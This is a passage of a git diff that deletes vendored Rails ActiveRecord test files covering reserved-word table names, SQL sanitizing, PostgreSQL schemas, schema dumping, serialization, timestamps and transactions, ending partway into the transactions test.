deleted file mode 100644
index ce1622bb..00000000
--- a/vendor/rails/activerecord/test/cases/reserved_word_test_mysql.rb
+++ /dev/null
@@ -1,176 +0,0 @@
-require "cases/helper"
-
-class Group < ActiveRecord::Base
-  Group.table_name = 'group'
-  belongs_to :select, :class_name => 'Select'
-  has_one :values
-end
-
-class Select < ActiveRecord::Base
-  Select.table_name = 'select'
-  has_many :groups
-end
-
-class Values < ActiveRecord::Base
-  Values.table_name = 'values'
-end
-
-class Distinct < ActiveRecord::Base
-  Distinct.table_name = 'distinct'
-  has_and_belongs_to_many :selects
-  has_many :values, :through => :groups
-end
-
-# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with
-# reserved word names (ie: group, order, values, etc...)
-class MysqlReservedWordTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.connection
-
-    # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table()
-    # will fail with these table names if these test cases fail
-
-    create_tables_directly 'group'=>'id int auto_increment primary key, `order` varchar(255), select_id int',
-      'select'=>'id int auto_increment primary key',
-      'values'=>'id int auto_increment primary key, group_id int',
-      'distinct'=>'id int auto_increment primary key',
-      'distincts_selects'=>'distinct_id int, select_id int'
-  end
-
-  def teardown
-    drop_tables_directly ['group', 'select', 'values', 'distinct', 'distincts_selects', 'order']
-  end
-
-  # create tables with reserved-word names and columns
-  def test_create_tables
-    assert_nothing_raised {
-      @connection.create_table :order do |t|
-        t.column :group, :string
-      end
-    }
-  end
-
-  # rename tables with reserved-word names
-  def test_rename_tables
-    assert_nothing_raised { @connection.rename_table(:group, :order) }
-  end
-
-  # alter column with a reserved-word name in a table with a reserved-word name
-  def test_change_columns
-    assert_nothing_raised { @connection.change_column_default(:group, :order, 'whatever') }
-    #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter
-    assert_nothing_raised { @connection.change_column('group', 'order', :Int, :default => 0) }
-    assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
-  end
-
-  # dump structure of table with reserved word name
-  def test_structure_dump
-    assert_nothing_raised { @connection.structure_dump  }
-  end
-
-  # introspect table with reserved word name
-  def test_introspect
-    assert_nothing_raised { @connection.columns(:group) }
-    assert_nothing_raised { @connection.indexes(:group) }
-  end
-
-  #fixtures
-  self.use_instantiated_fixtures = true
-  self.use_transactional_fixtures = false
-
-  #fixtures :group
-
-  def test_fixtures
-    f = create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
-
-    assert_nothing_raised {
-      f.each do |x|
-        x.delete_existing_fixtures
-      end
-    }
-
-    assert_nothing_raised {
-      f.each do |x|
-        x.insert_fixtures
-      end
-    }
-  end
-
-  #activerecord model class with reserved-word table name
-  def test_activerecord_model
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
-    x = nil
-    assert_nothing_raised { x = Group.new }
-    x.order = 'x'
-    assert_nothing_raised { x.save }
-    x.order = 'y'
-    assert_nothing_raised { x.save }
-    assert_nothing_raised { y = Group.find_by_order('y') }
-    assert_nothing_raised { y = Group.find(1) }
-    x = Group.find(1)
-  end
-
-  # has_one association with reserved-word table name
-  def test_has_one_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
-    v = nil
-    assert_nothing_raised { v = Group.find(1).values }
-    assert_equal v.id, 2
-  end
-
-  # belongs_to association with reserved-word table name
-  def test_belongs_to_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
-    gs = nil
-    assert_nothing_raised { gs = Select.find(2).groups }
-    assert_equal gs.length, 2
-    assert(gs.collect{|x| x.id}.sort == [2, 3])
-  end
-
-  # has_and_belongs_to_many with reserved-word table name
-  def test_has_and_belongs_to_many
-    create_test_fixtures :select, :distinct, :group, :values, :distincts_selects
-    s = nil
-    assert_nothing_raised { s = Distinct.find(1).selects }
-    assert_equal s.length, 2
-    assert(s.collect{|x|x.id}.sort == [1, 2])
-  end
-
-  # activerecord model introspection with reserved-word table and column names
-  def test_activerecord_introspection
-    assert_nothing_raised { Group.table_exists? }
-    assert_nothing_raised { Group.columns }
-  end
-
-  # Calculations
-  def test_calculations_work_with_reserved_words
-    assert_nothing_raised { Group.count }
-  end
-
-  def test_associations_work_with_reserved_words
-    assert_nothing_raised { Select.find(:all, :include => [:groups]) }
-  end
-
-  #the following functions were added to DRY test cases
-
-  private
-  # custom fixture loader, uses Fixtures#create_fixtures and appends base_path to the current file's path
-  def create_test_fixtures(*fixture_names)
-    Fixtures.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
-  end
-
-  # custom drop table, uses execute on connection to drop a table if it exists. note: escapes table_name
-  def drop_tables_directly(table_names, connection = @connection)
-    table_names.each do |name|
-      connection.execute("DROP TABLE IF EXISTS `#{name}`")
-    end
-  end
-
-  # custom create table, uses execute on connection to create a table, note: escapes table_name, does NOT escape columns
-  def create_tables_directly (tables, connection = @connection)
-    tables.each do |table_name, column_properties|
-      connection.execute("CREATE TABLE `#{table_name}` ( #{column_properties} )")
-    end
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/sanitize_test.rb b/vendor/rails/activerecord/test/cases/sanitize_test.rb
deleted file mode 100644
index 817897ce..00000000
--- a/vendor/rails/activerecord/test/cases/sanitize_test.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require "cases/helper"
-require 'models/binary'
-
-class SanitizeTest < ActiveRecord::TestCase
-  def setup
-  end
-
-  def test_sanitize_sql_array_handles_string_interpolation
-    quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"])
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi".mb_chars])
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper"])
-    assert_equal "name=#{quoted_bambi_and_thumper}",Binary.send(:sanitize_sql_array, ["name=%s", "Bambi\nand\nThumper".mb_chars])
-  end
-
-  def test_sanitize_sql_array_handles_bind_variables
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"])
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars])
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
-    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/schema_authorization_test_postgresql.rb b/vendor/rails/activerecord/test/cases/schema_authorization_test_postgresql.rb
deleted file mode 100644
index ba775451..00000000
--- a/vendor/rails/activerecord/test/cases/schema_authorization_test_postgresql.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-require "cases/helper"
-
-class SchemaThing < ActiveRecord::Base
-end
-
-class SchemaAuthorizationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  TABLE_NAME = 'schema_things'
-  COLUMNS = [
-    'id serial primary key',
-    'name character varying(50)'
-  ]
-  USERS = ['rails_pg_schema_user1', 'rails_pg_schema_user2']
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.execute "SET search_path TO '$user',public"
-    set_session_auth
-    USERS.each do |u|
-      @connection.execute "CREATE USER #{u}" rescue nil
-      @connection.execute "CREATE SCHEMA AUTHORIZATION #{u}" rescue nil
-      set_session_auth u
-      @connection.execute "CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
-      @connection.execute "INSERT INTO #{TABLE_NAME} (name) VALUES ('#{u}')"
-      set_session_auth
-    end
-  end
-
-  def teardown
-    set_session_auth
-    @connection.execute "RESET search_path"
-    USERS.each do |u|
-      @connection.execute "DROP SCHEMA #{u} CASCADE"
-      @connection.execute "DROP USER #{u}"
-    end
-  end
-
-  def test_schema_invisible
-    assert_raise(ActiveRecord::StatementInvalid) do
-      set_session_auth
-      @connection.execute "SELECT * FROM #{TABLE_NAME}"
-    end
-  end
-
-  def test_schema_uniqueness
-    assert_nothing_raised do
-      set_session_auth
-      USERS.each do |u|
-        set_session_auth u
-        assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1")
-        set_session_auth
-      end
-    end
-  end
-
-  def test_sequence_schema_caching
-    assert_nothing_raised do
-      USERS.each do |u|
-        set_session_auth u
-        st = SchemaThing.new :name => 'TEST1'
-        st.save!
-        st = SchemaThing.new :id => 5, :name => 'TEST2'
-        st.save!
-        set_session_auth
-      end
-    end
-  end
-
-  private
-    def set_session_auth auth = nil
-       @connection.execute "SET SESSION AUTHORIZATION #{auth || 'default'}"
-    end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/schema_dumper_test.rb b/vendor/rails/activerecord/test/cases/schema_dumper_test.rb
deleted file mode 100644
index ba714a95..00000000
--- a/vendor/rails/activerecord/test/cases/schema_dumper_test.rb
+++ /dev/null
@@ -1,211 +0,0 @@
-require "cases/helper"
-require 'stringio'
-
-
-class SchemaDumperTest < ActiveRecord::TestCase
-  def standard_dump
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = []
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    stream.string
-  end
-
-  def test_schema_dump
-    output = standard_dump
-    assert_match %r{create_table "accounts"}, output
-    assert_match %r{create_table "authors"}, output
-    assert_no_match %r{create_table "schema_migrations"}, output
-  end
-
-  def test_schema_dump_excludes_sqlite_sequence
-    output = standard_dump
-    assert_no_match %r{create_table "sqlite_sequence"}, output
-  end
-
-  def test_schema_dump_includes_camelcase_table_name
-    output = standard_dump
-    assert_match %r{create_table "CamelCase"}, output
-  end
-
-  def assert_line_up(lines, pattern, required = false)
-    return assert(true) if lines.empty?
-    matches = lines.map { |line| line.match(pattern) }
-    assert matches.all? if required
-    matches.compact!
-    return assert(true) if matches.empty?
-    assert_equal 1, matches.map{ |match| match.offset(0).first }.uniq.length
-  end
-
-  def column_definition_lines(output = standard_dump)
-    output.scan(/^( *)create_table.*?\n(.*?)^\1end/m).map{ |m| m.last.split(/\n/) }
-  end
-
-  def test_types_line_up
-    column_definition_lines.each do |column_set|
-      next if column_set.empty?
-
-      lengths = column_set.map do |column|
-        if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
-          match[0].length
-        end
-      end
-
-      assert_equal 1, lengths.uniq.length
-    end
-  end
-
-  def test_arguments_line_up
-    column_definition_lines.each do |column_set|
-      assert_line_up(column_set, /:default => /)
-      assert_line_up(column_set, /:limit => /)
-      assert_line_up(column_set, /:null => /)
-    end
-  end
-
-  def test_no_dump_errors
-    output = standard_dump
-    assert_no_match %r{\# Could not dump table}, output
-  end
-
-  def test_schema_dump_includes_not_null_columns
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-    assert_match %r{:null => false}, output
-  end
-
-  def test_schema_dump_includes_limit_constraint_for_integer_columns
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = [/^(?!integer_limits)/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-
-    if current_adapter?(:PostgreSQLAdapter)
-      assert_match %r{c_int_1.*:limit => 2}, output
-      assert_match %r{c_int_2.*:limit => 2}, output
-
-      # int 3 is 4 bytes in postgresql
-      assert_match %r{c_int_3.*}, output
-      assert_no_match %r{c_int_3.*:limit}, output
-
-      assert_match %r{c_int_4.*}, output
-      assert_no_match %r{c_int_4.*:limit}, output
-    elsif current_adapter?(:MysqlAdapter)
-      assert_match %r{c_int_1.*:limit => 1}, output
-      assert_match %r{c_int_2.*:limit => 2}, output
-      assert_match %r{c_int_3.*:limit => 3}, output
-
-      assert_match %r{c_int_4.*}, output
-      assert_no_match %r{c_int_4.*:limit}, output
-    elsif current_adapter?(:SQLiteAdapter)
-      assert_match %r{c_int_1.*:limit => 1}, output
-      assert_match %r{c_int_2.*:limit => 2}, output
-      assert_match %r{c_int_3.*:limit => 3}, output
-      assert_match %r{c_int_4.*:limit => 4}, output
-    end
-    assert_match %r{c_int_without_limit.*}, output
-    assert_no_match %r{c_int_without_limit.*:limit}, output
-
-    if current_adapter?(:SQLiteAdapter)
-      assert_match %r{c_int_5.*:limit => 5}, output
-      assert_match %r{c_int_6.*:limit => 6}, output
-      assert_match %r{c_int_7.*:limit => 7}, output
-      assert_match %r{c_int_8.*:limit => 8}, output
-    else
-      assert_match %r{c_int_5.*:limit => 8}, output
-      assert_match %r{c_int_6.*:limit => 8}, output
-      assert_match %r{c_int_7.*:limit => 8}, output
-      assert_match %r{c_int_8.*:limit => 8}, output
-    end
-  end
-
-  def test_schema_dump_with_string_ignored_table
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = ['accounts']
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-    assert_no_match %r{create_table "accounts"}, output
-    assert_match %r{create_table "authors"}, output
-    assert_no_match %r{create_table "schema_migrations"}, output
-  end
-
-  def test_schema_dump_with_regexp_ignored_table
-    stream = StringIO.new
-
-    ActiveRecord::SchemaDumper.ignore_tables = [/^account/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-    assert_no_match %r{create_table "accounts"}, output
-    assert_match %r{create_table "authors"}, output
-    assert_no_match %r{create_table "schema_migrations"}, output
-  end
-
-  def test_schema_dump_illegal_ignored_table_value
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = [5]
-    assert_raise(StandardError) do
-      ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    end
-  end
-
-  def test_schema_dumps_index_columns_in_right_order
-    index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
-    assert_equal 'add_index "companies", ["firm_id", "type", "rating", "ruby_type"], :name => "company_index"', index_definition
-  end
-
-  def test_schema_dump_should_honor_nonstandard_primary_keys
-    output = standard_dump
-    match = output.match(%r{create_table "movies"(.*)do})
-    assert_not_nil(match, "nonstandardpk table not found")
-    assert_match %r(:primary_key => "movieid"), match[1], "non-standard primary key not preserved"
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_schema_dump_should_not_add_default_value_for_mysql_text_field
-      output = standard_dump
-      assert_match %r{t.text\s+"body",\s+:null => false$}, output
-    end
-
-    def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
-      output = standard_dump
-      assert_match %r{t.binary\s+"tiny_blob",\s+:limit => 255$}, output
-      assert_match %r{t.binary\s+"normal_blob"$}, output
-      assert_match %r{t.binary\s+"medium_blob",\s+:limit => 16777215$}, output
-      assert_match %r{t.binary\s+"long_blob",\s+:limit => 2147483647$}, output
-      assert_match %r{t.text\s+"tiny_text",\s+:limit => 255$}, output
-      assert_match %r{t.text\s+"normal_text"$}, output
-      assert_match %r{t.text\s+"medium_text",\s+:limit => 16777215$}, output
-      assert_match %r{t.text\s+"long_text",\s+:limit => 2147483647$}, output
-    end
-  end
-
-  def test_schema_dump_includes_decimal_options
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    output = stream.string
-    assert_match %r{:precision => 3,[[:space:]]+:scale => 2,[[:space:]]+:default => 2.78}, output
-  end
-
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_schema_dump_includes_xml_shorthand_definition
-      output = standard_dump
-      if %r{create_table "postgresql_xml_data_type"} =~ output
-        assert_match %r{t.xml "data"}, output
-      end
-    end
-  end
-
-  def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
-    output = standard_dump
-    match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
-    assert_not_nil(match, "goofy_string_id table not found")
-    assert_match %r(:id => false), match[1], "no table id not preserved"
-    assert_match %r{t.string[[:space:]]+"id",[[:space:]]+:null => false$}, match[2], "non-primary key id column not preserved"
-  end
-end
-
diff --git a/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb b/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb
deleted file mode 100644
index 96d325b2..00000000
--- a/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb
+++ /dev/null
@@ -1,178 +0,0 @@
-require "cases/helper"
-
-class SchemaTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  SCHEMA_NAME = 'test_schema'
-  SCHEMA2_NAME = 'test_schema2'
-  TABLE_NAME = 'things'
-  CAPITALIZED_TABLE_NAME = 'Things'
-  INDEX_A_NAME = 'a_index_things_on_name'
-  INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
-  INDEX_A_COLUMN = 'name'
-  INDEX_B_COLUMN_S1 = 'email'
-  INDEX_B_COLUMN_S2 = 'moment'
-  COLUMNS = [
-    'id integer',
-    'name character varying(50)',
-    'email character varying(50)',
-    'moment timestamp without time zone default now()'
-  ]
-
-  class Thing1 < ActiveRecord::Base
-    set_table_name "test_schema.things"
-  end
-
-  class Thing2 < ActiveRecord::Base
-    set_table_name "test_schema2.things"
-  end
-
-  class Thing3 < ActiveRecord::Base
-    set_table_name 'test_schema."things.table"'
-  end
-
-  class Thing4 < ActiveRecord::Base
-    set_table_name 'test_schema."Things"'
-  end
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{CAPITALIZED_TABLE_NAME}\" (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
-    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
-    @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
-    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S1});"
-    @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_B_COLUMN_S2});"
-  end
-
-  def teardown
-    @connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
-    @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
-  end
-
-  def test_with_schema_prefixed_table_name
-    assert_nothing_raised do
-      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}")
-    end
-  end
-
-  def test_with_schema_prefixed_capitalized_table_name
-    assert_nothing_raised do
-      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{CAPITALIZED_TABLE_NAME}")
-    end
-  end
-
-  def test_with_schema_search_path
-    assert_nothing_raised do
-      with_schema_search_path(SCHEMA_NAME) do
-        assert_equal COLUMNS, columns(TABLE_NAME)
-      end
-    end
-  end
-
-
-  def test_proper_encoding_of_table_name
-    assert_equal '"table_name"', @connection.quote_table_name('table_name')
-    assert_equal '"table.name"', @connection.quote_table_name('"table.name"')
-    assert_equal '"schema_name"."table_name"', @connection.quote_table_name('schema_name.table_name')
-    assert_equal '"schema_name"."table.name"', @connection.quote_table_name('schema_name."table.name"')
-    assert_equal '"schema.name"."table_name"', @connection.quote_table_name('"schema.name".table_name')
-    assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
-  end
-
-  def test_classes_with_qualified_schema_name
-    assert_equal 0, Thing1.count
-    assert_equal 0, Thing2.count
-    assert_equal 0, Thing3.count
-    assert_equal 0, Thing4.count
-
-    Thing1.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
-    assert_equal 1, Thing1.count
-    assert_equal 0, Thing2.count
-    assert_equal 0, Thing3.count
-    assert_equal 0, Thing4.count
-
-    Thing2.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
-    assert_equal 1, Thing1.count
-    assert_equal 1, Thing2.count
-    assert_equal 0, Thing3.count
-    assert_equal 0, Thing4.count
-
-    Thing3.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
-    assert_equal 1, Thing1.count
-    assert_equal 1, Thing2.count
-    assert_equal 1, Thing3.count
-    assert_equal 0, Thing4.count
-
-    Thing4.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
-    assert_equal 1, Thing1.count
-    assert_equal 1, Thing2.count
-    assert_equal 1, Thing3.count
-    assert_equal 1, Thing4.count
-  end
-
-  def test_raise_on_unquoted_schema_name
-    assert_raise(ActiveRecord::StatementInvalid) do
-      with_schema_search_path '$user,public'
-    end
-  end
-
-  def test_without_schema_search_path
-    assert_raise(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
-  end
-
-  def test_ignore_nil_schema_search_path
-    assert_nothing_raised { with_schema_search_path nil }
-  end
-
-  def test_dump_indexes_for_schema_one
-    do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1)
-  end
-
-  def test_dump_indexes_for_schema_two
-    do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2)
-  end
-
-  def test_with_uppercase_index_name
-    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
-    assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
-
-    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
-    ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
-    assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "things_Index"}
-    ActiveRecord::Base.connection.schema_search_path = "public"
-  end
-
-  private
-    def columns(table_name)
-      @connection.send(:column_definitions, table_name).map do |name, type, default|
-        "#{name} #{type}" + (default ? " default #{default}" : '')
-      end
-    end
-
-    def with_schema_search_path(schema_search_path)
-      @connection.schema_search_path = schema_search_path
-      yield if block_given?
-    ensure
-      @connection.schema_search_path = "'$user', public"
-    end
-
-    def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name)
-      with_schema_search_path(this_schema_name) do
-        indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
-        assert_equal 2,indexes.size
-
-        do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
-        do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name)
-      end
-    end
-
-    def do_dump_index_assertions_for_one_index(this_index, this_index_name, this_index_column)
-      assert_equal TABLE_NAME, this_index.table
-      assert_equal 1, this_index.columns.size
-      assert_equal this_index_column, this_index.columns[0]
-      assert_equal this_index_name, this_index.name
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/serialization_test.rb b/vendor/rails/activerecord/test/cases/serialization_test.rb
deleted file mode 100644
index 88416942..00000000
--- a/vendor/rails/activerecord/test/cases/serialization_test.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require "cases/helper"
-require 'models/contact'
-
-class SerializationTest < ActiveRecord::TestCase
-  FORMATS = [ :xml, :json ]
-
-  def setup
-    @contact_attributes = {
-      :name        => 'aaron stack',
-      :age         => 25,
-      :avatar      => 'binarydata',
-      :created_at  => Time.utc(2006, 8, 1),
-      :awesome     => false,
-      :preferences => { :gem => '<strong>ruby</strong>' }
-    }
-
-    @contact = Contact.new(@contact_attributes)
-  end
-
-  def test_serialize_should_be_reversible
-    for format in FORMATS
-      @serialized = Contact.new.send("to_#{format}")
-      contact = Contact.new.send("from_#{format}", @serialized)
-
-      assert_equal @contact_attributes.keys.collect(&:to_s).sort, contact.attributes.keys.collect(&:to_s).sort, "For #{format}"
-    end
-  end
-
-  def test_serialize_should_allow_attribute_only_filtering
-    for format in FORMATS
-      @serialized = Contact.new(@contact_attributes).send("to_#{format}", :only => [ :age, :name ])
-      contact = Contact.new.send("from_#{format}", @serialized)
-      assert_equal @contact_attributes[:name], contact.name, "For #{format}"
-      assert_nil contact.avatar, "For #{format}"
-    end
-  end
-
-  def test_serialize_should_allow_attribute_except_filtering
-    for format in FORMATS
-      @serialized = Contact.new(@contact_attributes).send("to_#{format}", :except => [ :age, :name ])
-      contact = Contact.new.send("from_#{format}", @serialized)
-      assert_nil contact.name, "For #{format}"
-      assert_nil contact.age, "For #{format}"
-      assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/sp_test_mysql.rb b/vendor/rails/activerecord/test/cases/sp_test_mysql.rb
deleted file mode 100644
index 1f6da4bc..00000000
--- a/vendor/rails/activerecord/test/cases/sp_test_mysql.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/minimalistic'
-
-class StoredProcedureTest < ActiveRecord::TestCase
-  fixtures :topics
-
-  # Test that MySQL allows multiple results for stored procedures
-  if Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
-    def test_multi_results_from_find_by_sql
-      topics = Topic.find_by_sql 'CALL topics();'
-      assert_equal 1, topics.size
-      assert ActiveRecord::Base.connection.active?, "Bad connection use by 'MysqlAdapter.select'"
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/synonym_test_oracle.rb b/vendor/rails/activerecord/test/cases/synonym_test_oracle.rb
deleted file mode 100644
index b9a422a6..00000000
--- a/vendor/rails/activerecord/test/cases/synonym_test_oracle.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/subject'
-
-# confirm that synonyms work just like tables; in this case
-# the "subjects" table in Oracle (defined in oci.sql) is just
-# a synonym to the "topics" table
-
-class TestOracleSynonym < ActiveRecord::TestCase
-
-  def test_oracle_synonym
-    topic = Topic.new
-    subject = Subject.new
-    assert_equal(topic.attributes, subject.attributes)
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/timestamp_test.rb b/vendor/rails/activerecord/test/cases/timestamp_test.rb
deleted file mode 100644
index 24b237a7..00000000
--- a/vendor/rails/activerecord/test/cases/timestamp_test.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-require 'cases/helper'
-require 'models/developer'
-require 'models/owner'
-require 'models/pet'
-
-class TimestampTest < ActiveRecord::TestCase
-  fixtures :developers, :owners, :pets
-
-  def setup
-    @developer = Developer.first
-    @previously_updated_at = @developer.updated_at
-  end
-
-  def test_saving_a_changed_record_updates_its_timestamp
-    @developer.name = "Jack Bauer"
-    @developer.save!
-    
-    assert @previously_updated_at != @developer.updated_at
-  end
-  
-  def test_saving_a_unchanged_record_doesnt_update_its_timestamp
-    @developer.save!
-    
-    assert @previously_updated_at == @developer.updated_at
-  end
-  
-  def test_touching_a_record_updates_its_timestamp
-    @developer.touch
-    
-    assert @previously_updated_at != @developer.updated_at
-  end
-  
-  def test_touching_a_different_attribute
-    previously_created_at = @developer.created_at
-    @developer.touch(:created_at)
-
-    assert previously_created_at != @developer.created_at
-  end
-  
-  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
-    pet   = Pet.first
-    owner = pet.owner
-    previously_owner_updated_at = owner.updated_at
-    
-    pet.name = "Fluffy the Third"
-    pet.save
-    
-    assert previously_owner_updated_at != pet.owner.updated_at
-  end
-
-  def test_destroying_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
-    pet   = Pet.first
-    owner = pet.owner
-    previously_owner_updated_at = owner.updated_at
-    
-    pet.destroy
-    
-    assert previously_owner_updated_at != pet.owner.updated_at
-  end
-  
-  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
-    Pet.belongs_to :owner, :touch => :happy_at
-
-    pet   = Pet.first
-    owner = pet.owner
-    previously_owner_happy_at = owner.happy_at
-    
-    pet.name = "Fluffy the Third"
-    pet.save
-    
-    assert previously_owner_happy_at != pet.owner.happy_at
-  ensure
-    Pet.belongs_to :owner, :touch => true
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/transactions_test.rb b/vendor/rails/activerecord/test/cases/transactions_test.rb
deleted file mode 100644
index a4184d81..00000000
--- a/vendor/rails/activerecord/test/cases/transactions_test.rb
+++ /dev/null
@@ -1,543 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-require 'models/developer'
-require 'models/book'
-require 'models/author'
-require 'models/post'
-
-class TransactionTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-  fixtures :topics, :developers, :authors, :posts
-
-  def setup
-    @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
-  end
-
-  def test_successful
-    Topic.transaction do
-      @first.approved  = true
-      @second.approved = false
-      @first.save
-      @second.save
-    end
-
